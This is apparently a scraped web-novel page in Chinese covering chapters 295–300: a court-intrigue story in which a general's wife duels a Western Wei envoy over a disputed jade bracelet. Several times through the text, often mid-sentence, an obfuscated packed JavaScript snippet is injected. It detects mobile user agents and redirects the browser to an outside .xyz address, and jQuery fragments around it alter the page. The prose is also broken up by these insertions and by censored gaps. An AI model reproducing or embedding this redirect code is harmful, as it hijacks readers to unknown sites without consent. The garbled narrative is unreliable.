“如今,整个中原,被大晋和西魏两国瓜分。说是分庭抗礼,但实际上……”茅清兮的语气中带着一丝忧虑,“西魏,其实就是当年的南梁。他们的开国皇帝周徒远,原本就是南梁的太子。当年,周徒远谋权篡位失败,被贬谪到苦寒的云陲,也就是如今的西魏。那地方,土地贫瘠,资源匮乏,原本是南梁用来流放犯人的地方。可谁又能想到,周徒远竟然能在那里站稳脚跟,还一步步建立起了自己的势力,甚至建立起一支令人生畏的铁骑?” 冀容白接过话头,继续说道:“后来,天下大乱,各路诸侯纷纷起兵,逐鹿中原。周徒远打着‘南梁正统’的旗号,蛊惑了不少愚民,也笼络了一批南梁旧臣,最终在北方站稳了脚跟,建立了西魏。” “这些年,西魏兵强马壮,又与北边的游牧民族结盟,实力不容小觑。他们对南方的大晋,一直是虎视眈眈,从未放弃过南下一统天下的野心。” 茅清兮顿了顿,又将话题转回到西魏使团:“对了,那个康云辰,他的武功究竟如何?在西魏军中,又是个什么样的角色?” 冀容白眼中闪过一丝欣赏,也有一丝凝重:“康云辰……是个值得敬佩的对手。他的武功,不在我之下。” 他与康云辰,曾在云陲多次交锋,对彼此的实力都非常了解。 “康云辰是西魏年轻一代将领中,最为出类拔萃的一个。他不仅武艺高强,而且用兵如神,极富谋略,是西魏军中一颗冉冉升起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“还有你,飞羽。 第二百九十六章 ”茅清兮又看向茅飞羽,叮嘱道,“出门在外,万事小心。江湖险恶,人心难测,你可千万不能掉以轻心。” “知道啦,姐,你放心吧,我一定会保护好自己的。”茅飞羽笑嘻嘻地回答,似乎并没有把茅清兮的话太放在心上。 他一把揽住长明的肩膀,大大咧咧地说:“还有长明呢,我一定守护你周全,绝不会让他被人欺负了去。” 长明皱了皱眉,用力挣脱了茅飞羽的胳膊,毫不客气地拍掉了他的手,发出“啪”的一声脆响。 “哎呦!”茅飞羽吃痛,夸张地叫了一声,捂着手背,故作委屈地对茅清兮说,“姐,你看他,一点儿都不领情!像他这种木头疙瘩,总是被人当冤大头!” 长明抱着剑,看都不看茅飞羽一眼,一副懒得理他的模样。 在他心中,有剑在手,便可无所畏惧。 他不仅要保护自己,还要保护身边的人。 尤其是师父的弟弟,他更要保护好。 两人就这样一路斗嘴,身影渐渐远去,最终消失在了道路的尽头。 茅清兮望着他们远去的方向,久久没有收回目光。 直到再也看不见他们的身影,她才轻轻叹了口气,转身准备回府。 她希望茅飞羽和长明此行能够一切顺利,有所收获。 毕竟,十一二岁的少年,正是飞速成长的年纪,每一次经历,都是一次宝贵的历练。 或许,用不了多久,他们就能成长为能够独当一面的男子汉了。 茅清兮沿着繁华的街道缓缓往回走,俞霜紧随其后,警惕地观察着四周的动静。 路过一家名为“瑶华阁”的首饰铺时,茅清兮忽然停下了脚步。 她发现,店铺门口围了一大群人,熙熙攘攘,人声鼎沸,似乎发生了什么事情。 “夫人,那是……”俞霜凑到茅清兮耳边,正要低声说明。 茅清兮抬手,打断了她,心中一动,已经猜到了什么。“清兮,你怎么来了?” 一道声音细弱,却难掩惊喜。 茅清兮循声望去。 “瑶华阁”内,人群中央,石芷凝脸色苍白,左手无力地垂在身侧。 两个丫鬟眼圈泛红,紧紧护着她,像极了护崽的老母鸡,警惕又愤怒地瞪着对面几人。 “芷凝,这是怎么了?” 茅清兮心头一紧,拨开人群,快步走到石芷凝身边,蹲下身,语气焦急。 “没,没事……” 石芷凝勉强笑了笑,想要抬手,却“嘶”地抽了口冷气,额角冒出细密的汗珠。 “跟她们……争执的时候……不小心撞了柜台……” 她咬着下唇,极力忍痛。 茅清兮眉头紧锁,轻轻托起石芷凝的手臂。 刚一触碰,石芷凝疼得一颤。 茅清兮连忙放轻动作,隔着衣袖,仔细查看。 触手冰凉,能感觉到微微肿胀。 “没伤到骨头,” 茅清兮松了口气, “不过怕是要青紫好一阵子,回去得用药酒好好揉开。” “嗯……谢谢你,清兮。” 石芷凝低垂眼帘,轻声道谢,声音里有一丝不易察觉的委屈。 茅清兮轻轻拍了拍她的手背。 然后,缓缓起身,看向对面几人。 只一眼,她就从几人独特的装束和气度上,判断出他们的身份。 西魏人? 她眉心微蹙,目光转向身旁的掌柜。 “掌柜的,说说吧,怎么回事?” 茅清兮的声音不高,却自有威严。 掌柜的一直低着头,听到茅清兮问话,身子一颤,这才抬起头。 他不认识茅清兮,但他做惯了生意,看人极准。 眼前这位姑娘,虽然衣着简单,但气度不凡,又与石芷凝相识,定然不是寻常人。 他不敢隐瞒,连忙将事情原原本本地说了出来。 事情还得从半个时辰前说起。 石芷凝来“瑶华阁”挑选首饰,一眼看中了新到的一支红血玉手镯。 那手镯血色浓郁,玉质细腻,标价五百两,是店里的镇店之宝。 石芷凝出身礼部尚书府,并不缺这点银子。 可就在她准备让丫鬟付钱时,门外忽然进来一群人。 为首的是个络腮胡大汉,身后跟着两个蒙面纱的女子,再后面是四个佩刀侍卫。 几人一看就不是中原人士。 这群人进店后,二话不说,直接就要买那支红血玉手镯。 掌柜的当时就愣住了。 “瑶华阁”开门做生意,讲究的就是个“先来后到”。 可这手镯是镇店之宝,仅此一支,无论给谁,都会得罪另一方。 正当他左右为难时,那群人见石芷凝主仆三人势单力薄,竟然直接动**夺!

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16512292|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 拉扯间,石芷凝没站稳,撞到了柜台上,这才受了伤。 茅清兮听完,脸色越来越冷。 天子脚下,竟有人敢如此嚣张,光天化日之下强抢?! “好一个‘强抢’!” 茅清兮冷笑, “西魏人在我大晋的地盘,都这么不讲规矩吗?” “西魏人?” “他们是西魏人?” “怪不得……这么横……” “嘘,小声点!” 周围看热闹的百姓们议论纷纷,看向那群人的目光中,有愤怒,也有忌惮。 石芷凝也愣住了。 她知道朝廷正与西魏使团和谈,父亲和贤王还负责接待。 可她没想到,自己竟然会在这里,与西魏人起了冲突。 “谁抢了?我们可没抢!” 人群中,一个蒙面女子尖声反驳,声音里透着心虚。 “这镯子还没付钱呢,我们也可以买!价高者得,这道理,你们大晋人不懂吗?” “哦?是吗?” 茅清兮挑眉, “安宁公主怕是忘了‘先来后到’、‘诚信为本’这几个字怎么写了吧?” 她顿了顿, “左小姐既然已经看中了这镯子,那就是她的!你们这般强买强卖,跟拦路**的匪徒,有什么区别?” “你……你……” 安宁公主气得浑身发抖,指着茅清兮的鼻子,半天说不出话来。 “好大的胆子!竟敢污蔑本公主?来人,给我把她拿下!” “拿下我?” 茅清兮嗤笑出声, “公主殿下好大的威风!不过,这里是大晋京城,可不是西魏皇宫。公主殿下还是收敛些好,免得丢了西魏皇室的脸面!” “你竟敢教训本宫?” 安宁公主气得跳脚,指着茅清兮怒斥。 “康将军!你就这么看着本宫受辱吗?” 她猛地转头,看向身旁的络腮胡男子,厉声质问。 康云辰咧嘴一笑, “殿下想让我如何行事?把人抓起来,严刑拷打?” 他故意顿了顿, “还是说……公主想让臣,把这‘瑶华阁’里的人都绑了,送到西魏慢慢审问?” 茅清兮看着康云辰,没想到他竟然会这么说。 这家伙,倒比这所谓的公主,多了几分心眼。 第二百九十七章 安宁公主脸色一阵青一阵白。 她瞪着康云辰: “康将军,你别忘了自己的身份!来之前,父皇可是千叮咛万嘱咐,让你们一切都听本公主的!你想抗旨?” “抗旨?” 康云辰耸了耸肩, “将在外,君命有所不受。不过……” 他咧嘴一笑, “公主既然想要这镯子,那臣,自然要帮公主拿到手!” 安宁公主只觉得一口气憋在胸口,难受至极。 这些西魏臣子,仗着自己是开国功臣,根本不把她放在眼里! 不过是个刚被找回来的草根罢了? 还不是父皇一句话的事! 康云辰不再理会安宁公主,转头看向茅清兮。 “这镯子,我们要定了。” 他语气平淡,却不容置疑。 “不过,在此之前……” 康云辰上下打量着茅清兮,目光在她腰间的剑上停留, “我对你那把剑,更感兴趣。” “我的剑?” 茅清兮微微一怔。 “没错,” 康云辰咧嘴一笑, “如果我没看错,那是……‘三寒霜’吧?” 茅清兮眯起眼睛。 她没想到,对方竟然认识这把剑。 “是又如何?” 她淡淡地问。 “‘三寒霜’……” 康云辰眼中闪过一丝狂热, “当年在云陲,我曾与它有过一面之缘……那感觉,真是让人念念不忘啊!” 他紧紧盯着茅清兮, “你……跟冀容白,是什么关系?” “我是他的夫人。” 茅清兮的声音依旧平淡。 “冀容白的夫人?” 康云辰眼中闪过一丝玩味, “原来如此……怪不得……” 他没有再说下去,只是盯着茅清兮腰间的“三寒霜”,眼神越来越炙热。 “怎么,康将军这是看上了我的剑,想抢?” 茅清兮冷冷地问,手已经按在了剑柄上。 “抢?” 康云辰咧嘴一笑,露出一口白牙, “不,我只是想……跟你切磋切磋。” 他顿了顿, “毕竟,‘三寒霜’这样的宝剑,可不是什么人都能配得上的。” “切磋?” 茅清兮冷笑一声, “只怕你还没这个资格!” 话音未落, “呛啷”一声, 寒光闪过, 三寒霜,已然出鞘!“念你是个女子罢了,让你三招。” 康云辰盯着茅清兮,目光在她与她腰间那柄名为“三寒霜”的长剑之间来回逡巡。那眼神,像是猎人盯上了心仪已久的猎物。 冀容白的夫人,竟是这般人物? 清冷,出尘,却又锋锐得像一柄出鞘的剑,让人不敢逼视。 康云辰之前很难想象,冀容白那样冷硬如冰的人也会动情。可若是眼前这女子……康云辰忽然觉得,或许,也不是那么难以理解。他甚至有些隐隐的嫉妒。 他下意识地舔了舔嘴唇,只觉体内血液都开始发烫,某种难以言喻的渴望像野草般疯长,想要将他整个人都吞噬。 “呛啷——” 一声清越的剑鸣,突兀地打断了康云辰的思绪,也打断了他那点隐秘的心思,更将他从那危险的边缘拉了回来。 茅清兮没说话。 或者说,她根本不屑与他多费唇舌。 回答他的,是一剑。 三寒霜,出鞘。 没有任何花哨的动作,甚至没有多余的蓄势,剑尖就那么毫无征兆地,直指康云辰喉咙。 快! 太快了! 凛冽的剑气扑面而来,割得康云辰脸颊生疼。 康云辰原本还想在美人面前逞一逞英雄,摆一摆架子。可话已出口,又不好立刻反悔,显得自己怕了一个女人,那可就太丢人了。 他只能硬着头皮,故作镇定,身体却很诚实地向后仰去,狼狈地侧身急躲,险之又险地避开了这一剑。 可还没等他站稳,茅清兮的手腕已经轻抖,剑锋回转,如影随形,又是一剑。 角度更刁钻,速度也更快。 康云辰脸色微变,再也顾不得什么风度,什么承诺,只能再次后退躲避。 他心中暗自叫苦。 这女子的剑,也太快,太狠了! 简直不给人留半点喘息的机会! 三招? 他现在只庆幸自己说了三招,而不是更多。 三招已过,可康云辰却丝毫不敢放松警惕。 因为他清楚地感觉到,这女子,绝不简单。 她出剑的狠辣果决,根本不像是一个寻常的闺阁女子,倒更像是一个久经沙场的战士。 旁边,一直看热闹的安宁公主却有些不乐意了: “康将军,你让她三招已是仁至义尽!” 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16512293|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 提高了声音,带着几分颐指气使,还有几分……嫉妒? “接下来,该让她瞧瞧咱们西魏的厉害了!”安宁公主娇斥道,“可别因为她是个女人,就手下留情,给咱们西魏丢了脸面!” 茅清兮听了,只是发出一声几不可闻的轻笑。 那笑声很轻,很淡,却像是一根细小的针,狠狠地刺进了安宁公主的心里。 像是在嘲讽她的无知,又像是不屑她的挑衅。 康云辰心中暗恨。 这蠢公主,真是头发长见识短,什么都不懂! 只会在这里添乱! 旁人看着,是他康云辰大度地让着茅清兮。 可实际上呢?他一直在狼狈躲避。 再不还手,他怕是要被这女子的剑给逼到墙角去了! 这女子的剑,不仅仅是快,而且准,狠,招招都直指要害。若不是他反应够快,经验丰富,恐怕早就被逼得手忙脚乱,甚至可能已经受伤了。 偏偏这个时候,茅清兮还要火上浇油: “感激康将军手下留情。” 她故意顿了顿,清冷的声音在店铺内回荡,清晰地传入每个人的耳中,带着一种不容置疑的压迫感: “素闻西魏康云辰将军勇猛无双,威震四方,今日,我茅清兮特来讨教!” 话音刚落,周围一片寂静。 所有人的目光都集中在了康云辰身上,有好奇,有期待,也有……幸灾乐祸。 康云辰只觉得脸上火辣辣的,像是被人狠狠扇了一巴掌,又像是被架在火上烤。 他神色一凛,眼底闪过一丝阴翳。 他知道,从这一刻起,自己已经没有退路,不能输。 不仅仅是为了自己的面子,更是为了西魏的尊严。 输给冀容白,那还可以说是技不如人,情有可原。可若是再输给冀容白的夫人…… 他康云辰,怕是要成为整个西魏,乃至整个天下的笑柄! 想到这里,康云辰深吸一口气,缓缓吐出,强压下心头的烦躁和不安。 他知道,自己必须认真了。 “请。” 他沉声说道,同时缓缓后撤半步,腰腹微微下沉,做出了一个标准的防御姿态,也做好了全力以赴的准备。 “铮——” 几乎是在同一时间,弯刀出鞘。 那是属于西魏勇士的象征,也是康云辰最信任的伙伴。 刀身在阳光下闪烁着寒光,带着一股肃杀之气,仿佛在宣告着一场恶战的开始。 第二百九十八章 刀剑相撞,金铁交鸣,发出刺耳的声响。 周围的人群只觉得耳膜一阵刺痛,仿佛有无数根细针在扎,又仿佛有惊雷在耳边炸响,纷纷下意识地捂住耳朵,向后退去,生怕被殃及。 原本还算宽敞的店铺,瞬间变得空旷起来,只剩下了茅清兮和康云辰两人,以及那不断回荡着的,令人心悸的刀剑撞击声。 掌柜的站在一旁,脸色煞白,心惊肉跳。 他倒不是怕别的,只是怕这两人一个不慎,用力过猛,把他这间小店给拆了。 这店铺可是他祖上传下来的,要是毁了,他可怎么跟列祖列宗交代? 好在,茅清兮与康云辰虽然出手极快,招式凌厉,但却都控制着力道,收放自如。 你来我往,见招拆招,金铁交击声不绝于耳,却并未伤及店内分毫。 康云辰越打越心惊,越打越觉得不对劲。 他一身内力,走的是刚猛霸道的路子,每一招每一式都势大力沉,恨不得一刀将对方劈成两半,以最快的速度结束战斗。 可茅清兮的内力,却是截然不同的另一种风格。 连绵不绝,如春雨般润物无声,却又坚韧无比,以柔克刚,将他所有的力道都化解于无形。 他那些原本无往不利的杀招,竟被她一一化解,根本发挥不出应有的威力,反倒让他有力使不出,憋闷得难受。 再这样打下去,别说赢了,恐怕连个平手都难。 可他不能退,更不能输。 康云辰咬紧牙关,只能硬着头皮继续,心中却在不断地思索着对策。 他想起在战场上,自己与冀容白交手多次,互有胜负。 可真正单打独斗,却从未有过。 如今对上冀容白的夫人,他竟处处受制,有力使不出,这让他如何能甘心?如何能接受? 康云辰试图寻找茅清兮的破绽,想要抓住机会,一击制胜。 可茅清兮的三寒霜,剑招凌厉,密不透风,宛如一道密集的雨幕,又如同一张密不透风的网,将他所有的攻击都挡在了外面,根本不给他任何可乘之机。 他硬是抓不住半点机会! 时间一点点流逝,康云辰的心头越来越焦躁,额头上也开始渗出细密的汗珠。 就在这时—— “住手!” 一声断喝,如惊雷般在店铺内炸响,打断了这紧张的对峙。 京兆尹的人,终于到了。 一同前来的,还有当朝贤王。 两人几乎是同时收手,抽身后退,拉开了距离。 只不过,茅清兮退得从容,康云辰退得……却有几分狼狈。 康云辰暗自松了口气,只觉得后背都已经被冷汗浸湿,握刀的手也微微有些颤抖。 幸好,及时停了。 再打下去,他怕是要当众出丑,颜面尽失。 而一旁的安宁公主,却完全看不出这些门道,反而觉得愤愤不平,认为康云辰不该停手: “真是便宜她了!康将军,你怎么不打了?还没来得及好好教训她呢!” 康云辰听了这话,脸色瞬间黑如锅底,额头上的青筋都跳了跳。 他狠狠地瞪了安宁公主一眼,恨不得一巴掌拍死这个成事不足败事有余的蠢货。 这个蠢女人,难道看不出来,自己已经落了下风吗? 他转头看向茅清兮,想从她脸上看到一丝嘲讽或得意。 哪怕只有一丝丝,他也能找到借口,为自己挽回一点颜面。 但出乎意料的是,茅清兮的表情很平静,甚至可以说是冷漠,完全没有任何情绪波动。 仿佛刚才那场激烈的打斗,对她来说,根本不值一提,甚至……有些无趣? 只有他们两个自己心里清楚,再打下去,康云辰绝对讨不到任何好处,甚至可能会输。 贤王快步走进店内,先是环视了一圈,确保没有人员伤亡和财物损失,然后才沉声问道: “怎么回事?谁能告诉本王,究竟发生了什么?” 他身边的京兆尹官员立刻上前,将事情的来龙去脉简单说了一遍,重点强调了是西魏使团先挑起的事端。 贤王听完,眉头微皱。 得知是为了争夺一支手镯,他将目光投向了那支血玉红镯,眼中闪过一丝了然。 “公主殿下若是喜欢,本王那里还有一支类似的,是前些日子偶然所得,成色比这支更好。” 贤王转头对安宁公主说道,语气温和,却又带着一种不容拒绝的意味: “稍后,本王便派人送到驿馆,给公主殿下送去,权当是赔礼道歉,如何?” 安宁公主闻言, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16512294|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸色变幻了几下。 她自然听出了贤王话语中的潜台词,这是在警告她,让她不要再**。 可她偏偏咽不下这口气。 她冷哼一声,狠狠地瞪了茅清兮一眼,语气中带着几分不甘和轻蔑,还有几分……心虚? “一支破镯子而已,本公主还不稀罕!” 安宁公主故意提高了声音,像是在掩饰什么: “全仗着贤王殿下给面子,本公主才懒得跟你们这些平民百姓计较!” 说完,她还刻意挺了挺胸,摆出一副高高在上的姿态,仿佛自己是多么的宽宏大量。 石芷凝的眉头紧紧地皱了起来。 这手镯,这玩意儿她早就相中了。 可到了安宁公主嘴里,怎么就成了她无理取闹,仗势欺人,还连累了贤王? 尤其还是当着贤王的面。 要知道,她和贤王即将成婚,她可不想给贤王留下任何不好的印象,更不想因为这件事影响到他们的关系。 可眼下这种情形,她却不能开口辩解,只能默默地忍受着这无端的指责。 她心里清楚,对方是西魏的公主,身份尊贵。贤王恰好担任这次使团接待总管,肩负重任。 使团若是在大晋出了什么事,贤王难辞其咎,甚至可能会影响到两国关系,乃至整个朝局。 她不能因为自己的一时之气,给贤王添麻烦,更不能让两国关系因此受到影响。 就在这时,茅清兮笑了。 她的笑容很淡,却带着一种不容置疑的坚定,还有一种……掌控全局的自信。 “伤了两国和气,倒也不至于。”茅清兮悠悠开口,声音不大,却足以让在场的每一个人都听得清清楚楚。 她微微偏头,看向安宁公主,眼神清亮,带着几分戏谑: “只是不知道,是哪国的气?” 安宁公主被她这突如其来的一句话问得一愣,随即反应过来,脸色顿时变得难看起来,柳眉倒竖,怒斥道: “你!贤王大人驾到,哪轮得到你一个妇道人家说话?” “还是说,你们大晋的女人,都这般喜欢抛头露面,强词夺理,不知廉耻?” 这话说得极重,已经不仅仅是在针对茅清兮,而是在羞辱整个大晋的女子,甚至是在挑衅大晋的尊严。 第二百九十九章 石芷凝脸色一变,急忙伸手拉住茅清兮的衣袖,示意她不要再说了,不要再为了自己,惹上更大的麻烦。 可茅清兮却像是没有感觉到一样,依旧站在那里,纹丝不动,脸上也没有丝毫的惧意。 贤王的脸色也变得不太好看,眉头紧锁。 他刚想开口说些什么,缓和一下气氛,却被茅清兮抢先了一步: “我们大晋的女子,自尊自爱,自有底气,光明磊落。从不需要像某些人一样,远赴**,寄人篱下,摇尾乞怜,还自以为是。” 她微微抬起下巴,目光直视安宁公主,语气中带着一丝轻蔑,还有一种毫不掩饰的嘲讽: “公主殿下远道而来,想必是贵客。只是,客人也该有客人的样子,怕是不知道我是谁,也不知道这里是什么地方。” “也罢,我不妨告诉你。家夫,苏枭将军,冀容白。” 她顿了顿,故意加重了语气,一字一顿地说道,声音铿锵有力,掷地有声: “刚刚从你们西魏手里,夺下了两座城池!” 她似笑非笑地看向康云辰,眼中闪过一丝玩味,还有一种……挑衅? “公主殿下若是不清楚其中细节,不妨问问您身边的这位康将军。” “问问他,当初是如何败在我夫君手下,又是如何狼狈逃窜,险些丢了性命的?” “西魏既然派使团前来求和,我们大晋自当以礼相待,尽地主之谊,展现大国风范。” “可若是战败之国,也敢在我大晋的皇城脚下耀武扬威,颠倒黑白,欺压我大晋百姓……” 茅清兮的声音骤然拔高,如同一把出鞘的利剑,锋芒毕露,势不可挡: “那也要问问,我大晋千千万万的热血将士,答不答应!” 一番话说得掷地有声,铿锵有力,在店铺内回荡,震慑人心。 安宁公主被噎得哑口无言,脸色一阵青一阵白,像是被人狠狠地扇了几巴掌,火辣辣的疼。 她想反驳,却又不知道该说些什么,只能用**般的目光死死瞪着茅清兮,恨不得将她生吞活剥。 “好!” “说得好!” “臧夫人威武!” 外面,围观的百姓中,不知是谁先喊了一句,紧接着,叫好声此起彼伏,一浪高过一浪。 “西魏人竟敢跑到咱们的地盘上来撒野,真当我们大晋无人不成?” “不过是个手下败将,也敢在这里逞威风?当我们大晋的将士都是吃素的?” “不过是个含着金汤匙出生的主儿,真把自己当成什么了不起的人物了?在我们大晋,是龙你得盘着,是虎你得卧着!更何况,你还不是真龙真虎!” 百姓们群情激愤,义愤填膺,恨不得冲上去将西魏使团的人撕成碎片。 康云辰一看这情形,顿时心知不妙,脸色大变。 他们这次出使大晋,是为了缓和两国关系,可不是为了挑起争端,激化矛盾的。 要是真因为这件事,让两国关系再次恶化,那他可就成了西魏的罪人了,回去之后,也无法向国主交代。 他狠狠地瞪了安宁公主一眼,暗骂一声“蠢货”,然后连忙上前一步,躬身行礼,态度恭敬: “贤王殿下,臧夫人,左小姐,此事的确是我们失礼了,是我们考虑不周,言语不当,冒犯了诸位,还请诸位海涵。” “这支手镯,就由我买下,赠予左小姐,以表歉意,还望左小姐不要嫌弃。” 石芷凝见状,暗自松了口气,连忙说道: “不必了,多谢康将军好意。只是君子不夺人所爱,这手镯,还是由臣女自己买下吧。” 她说着,示意身边的丫鬟上前付钱。 康云辰没有再说什么,西魏使团一行人渐行渐远,留下的话题却仍在人群中暗流涌动。 贤王缓步走到石芷凝身侧,眉心微蹙,关切之情溢于言表:“方才可有受伤?” 石芷凝身边的丫鬟正欲抢着回答,却被她一个眼神制止。她轻轻摇头,声音柔婉,却带着几分不易察觉的疏离:“无碍的,让主上费心了。” “无碍便好。”贤王温润的声音如春风拂柳,似要抚平一切不安,“我着人送你归府。” 石芷凝微微颔首,眼底飞快地闪过一丝释然,却又迅速被谨慎掩盖。 她素来不喜争执,若非今日西魏人咄咄逼人,她也断不会与他们当街起冲突。 目光流转,她小心翼翼地观察着贤王的脸色。 幸好……似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16521585|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乎并无厌恶之色。 她暗自松了口气,绷紧的身体也稍稍放松了些。 虽已是准贤王妃,但一日未入贤王府,她便一日不敢掉以轻心。 若是还未进门就惹得这位王爷厌弃,那她往后的日子……恐怕比这京城里的水还要深几分。 万幸,贤王仍是一如既往的温和,没有显露出别的神色。 石芷凝受伤,这事儿她自己是不会主动说的。 茅清兮看在眼里,却也没打算替她说。 只是,回程时,茅清兮还是随着石芷凝的马车一同去了宁府。 贤王站在原地,目送她们的马车渐渐消失在街角,这才转身离去,继续处理那些繁杂的事务。 马车内,静得有些压抑。 “伤在何处,予我瞧瞧。”茅清兮率先开口,打破了沉寂。 石芷凝没有推辞,顺从地抬起手臂。身旁的丫鬟连忙小心翼翼地将她的袖子挽起。 果不其然,原本白皙如玉的肌肤上,一片青紫的伤痕赫然入目,让人心疼。 “小姐,您受苦了!”丫鬟的眼泪一下子涌了出来,声音里满是心疼,“您怎的不与贤王殿下说?殿下若是瞧见了,定会心疼您的!” 石芷凝只是淡淡一笑,摇了摇头。 她若真说了,贤王是否怜惜她还是个谜。可哪怕只是一丝一毫叫贤王厌恶的可能,这事她压根不可能干。 在这深深庭院里,一步踏错,便是步步皆错。 茅清兮对她的举动既不反对也不赞同。她从随身的香囊中取出一个精致的小瓷瓶,倒出些许药膏,轻轻涂抹在石芷凝的伤处,用指腹细细揉开。 药膏冰凉,触及伤处时,带来一阵阵刺痛。 石芷凝疼得脸色发白,额角渗出细密的汗珠。 她自幼锦衣玉食,何曾受过这等皮肉之苦? 可她却只是咬紧牙关,一声不吭。 直到茅清兮处理好伤口,她才勉强挤出一个笑容,声音有些虚弱,却透着真诚:“清兮,今日之事,多谢你了。” “举手之劳,何足挂齿。”茅清兮语气淡淡的,听不出喜怒,“便是我不出手,贤王殿下想必也会护你周全。” 石芷凝摇了摇头,眼神有些复杂。 第三百章 贤王若是赶到,也只会和稀泥,两边都不得罪。 他啊,一向如此。 她垂下眼帘,将心底翻涌的思绪压下,再次向茅清兮道谢,将这份情谊牢牢记在了心里。 他日,定寻个机会偿还。 茅清兮回到澜府时,天边最后一抹余晖也已散尽。 冀容白还没回来,她便独自在院中练剑。 直到夜幕降临,冀容白才姗姗来迟。 茅清兮刚沐浴完,身上带着湿润的水汽,乌发披散在肩头。 冀容白进屋,随手将披风丢给一旁的丫鬟。 绿绿刚要接过,却见他脚步一转,径直走向茅清兮,俯身在她脸颊上落下一个轻吻。 绿绿一惊,忙低下头,红着脸悄无声息地退了出去,还不忘掩上了房门。 茅清兮没躲开,被他亲个正着,有些无奈地嗔道:“我才刚洗过……” “娘子这是嫌我脏了?”冀容白故作伤心,垂下的眉眼,是他惯用的伎俩。 茅清兮拿他没办法,嘴角微微抽搐。 冀容白趁势将她揽入怀中,紧紧抱着。 “今日可曾受伤?”他低声问,语气中满是关切。 茅清兮并不意外他会知晓。 她背后除了青羽暗卫还有别人,还有玄月门的暗卫,一举一动,自然都瞒不过他的耳目。 “康云辰那一身功夫,走的是大开大合的路数,”茅清兮略作回想,“若非我以破霄剑法克制,怕也讨不到好。” 冀容白微微颔首:“我未曾与他交过手,不好妄下定论。不过,此人城府极深,绝非表面那般简单。他不仅熟读兵书,且擅长出奇制胜,绝非易于之辈。” 茅清兮听罢,忍不住轻笑出声,带着几分打趣的意味:“如此说来,你能胜他,岂不是更胜一筹?” 冀容白闻言,眉眼弯弯,笑意更浓,俯首在她唇角又轻轻啄了一下。 “听说夫人今天在众人面前吹我上天了?嗯?且说来与为夫听听,是怎样夸的?”他顿了顿,声音低沉而蛊惑,“为夫可还从未听娘子亲口唤过一声‘夫君’呢。” 他在外人面前,故意引导着她“夫君”、“夫君”叫得亲昵。 可私下里,茅清兮却从未这般称呼过他。 冀容白低声哄诱,嗓音低沉而富有磁性:“娘子,唤一声来听听,可好?” 茅清兮抿紧了唇,就是不肯开口。 她越是这般,冀容白就越是想逗弄她。 见她要逃,冀容白眼疾手快,一把搂住她的纤腰,将她紧紧禁锢在怀中,俯首,便是一个缠绵悱恻的深吻。 一番嬉闹,茅清兮原本已经沐浴过的身子,又出了一层薄汗,只得重新梳洗。 待两人收拾妥当,从内室出来,已是掌灯时分。 晚膳已经备好,摆上了桌。 这时,茅清兮派出去的青羽暗卫回来了,还带回一个出人意料的消息。 “夫人,贤王府那边有了动静。”暗卫单膝跪地,恭声禀报,“贤王着人将一块上好的羊脂玉佩送去了西魏驿馆,指明要赠予安宁公主。” “羊脂玉佩?”茅清兮眉头微蹙,重复了一遍,手中的筷子停在了半空。 她记得,贤王似乎并无特别喜爱羊脂玉的传闻。 这玉佩,送得蹊跷。 冀容白放下了手中的茶盏,若有所思。 “贤王此举,倒是让人捉摸不透。”他缓缓开口,语气中带着几分玩味,“他素来行事谨慎,从不做没有把握之事。这般明目张胆地示好西魏,究竟是何用意?” 茅清兮也百思不得其解。 若是为了拉拢西魏,可贤王已定下正妃,断无可能再娶西魏公主。 更何况,堂堂一国公主,又怎会甘心屈居人下,给人做侧妃? 思来想去,也只有一种可能——这或许只是贤王抛出的一个诱饵,一个障眼法,用来迷惑众人视线的。 